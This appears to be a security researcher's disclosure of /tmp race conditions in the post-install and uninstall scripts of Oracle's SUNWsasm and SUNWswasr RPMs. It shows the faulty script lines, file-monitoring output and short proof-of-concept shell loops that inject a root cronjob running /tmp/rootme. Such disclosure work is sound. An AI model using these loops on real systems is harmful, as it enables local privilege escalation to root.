From the README:
"Oracle Automated Service Manager 1.3.1
Oracle Automated Service Manager is the service management container for Auto Service Request and Secure File Transport. It provides platform services (such as logging, data transport and persistence) to business services that are deployed to it."
Possible issues with files in /tmp.

Ok, lets try to inject a cronjob and get root:
Malicious user does:
[meanie@oracle-lnx-lab02 ~]$ while (true) ;do echo "* * * * * /tmp/rootme" > /tmp/mytab.??; done
[root@oracle-lnx-lab02 ~]# rpm -Uvh SUNWsasm-1.3.1-20110815093723.rpm

Faulty Code:

320 if [ $(/bin/grep -c 'sasm' /tmp/mytab.??) -eq 0 ];then
321 echo "0,12,24,36,48 * * * * /opt/SUNWsasm/bin/sasm start-instance > /dev/null 2>&1" >> /tmp/mytab.??

SUNWswasr RPM post install /tmp race condition
From the documentation:
"Auto Service Request (ASR) is a secure, scalable, customer-installable software feature of warranty and Oracle Support Services that provides auto-case generation when common hardware component faults occur. ASR is designed to enable faster problem resolution by eliminating the need to initiate contact with Oracle Support Services for common hardware component failures, reducing both the number of phone calls needed and overall phone time required. ASR also simplifies support operations by using electronic diagnostic data. Easily installed and deployed, ASR is completely controlled by you, the customer, to ensure security. ASR is applicable only for component faults. Not all component failures are covered, though the most common components (such as disk, fan, and power supplies) are covered."
The post-install script for SUNWswasr RPM handles files in /tmp insecurely.
I suspect a race condition exists where these two files can be used to either clobber root owned files or inject malicious cronjobs into roots cron:
/tmp/tmpVariable
/tmp/crontab_edit

Lets fireup fsnoop[1] and take a look:
[C] -rw-r--r-- 1 root root 0 Thu Jan 31 14:30:12 2013 /tmp/crontab_edit
[U] -rw-r--r-- 1 root root 100 Thu Jan 31 14:30:12 2013 /tmp/crontab_edit
[C] -rw-r--r-- 1 root root 0 Thu Jan 31 14:30:12 2013 /tmp/tmpVariable
[U] -rw-r--r-- 1 root root 2 Thu Jan 31 14:30:12 2013 /tmp/tmpVariable
[U] -rw-r--r-- 1 root root 101 Thu Jan 31 14:30:12 2013 /tmp/crontab_edit
[U] -rw-r--r-- 1 root root 143 Thu Jan 31 14:30:12 2013 /tmp/crontab_edit

[D] F /tmp/tmpVariable
[D] F /tmp/crontab_edit
Those look exploitable lets pick one.
I was able to inject my own cronjob in as root with the following simple PoC:
$ while (true) ;do echo "* * * * * /tmp/rootme" >> /tmp/crontab_edit; done
[root@oracle-lnx-lab02 ~]# crontab -l
0,12,24,36,48 * * * * /opt/SUNWsasm/bin/sasm start-instance > /dev/null 2>&1
* * * * * /tmp/rootme <--- prepended and contains our malicious shell/binary, see exploit above.
##Cronjob entry for ASR Auto Rules Update
7 3 * * * /opt/SUNWswasr/bin/update_rules.sh
The uninstall script is just as sloppy:
[C] F /tmp/asrtab.??
[U] F /tmp/asrtab.??
[C] F /tmp/asrtab.???
[U] F /tmp/asrtab.???
[C] F /tmp/asrtab.???
[U] F /tmp/asrtab.???
[D] F /tmp/asrtab.??
did they mean to use $$ for process Pid?
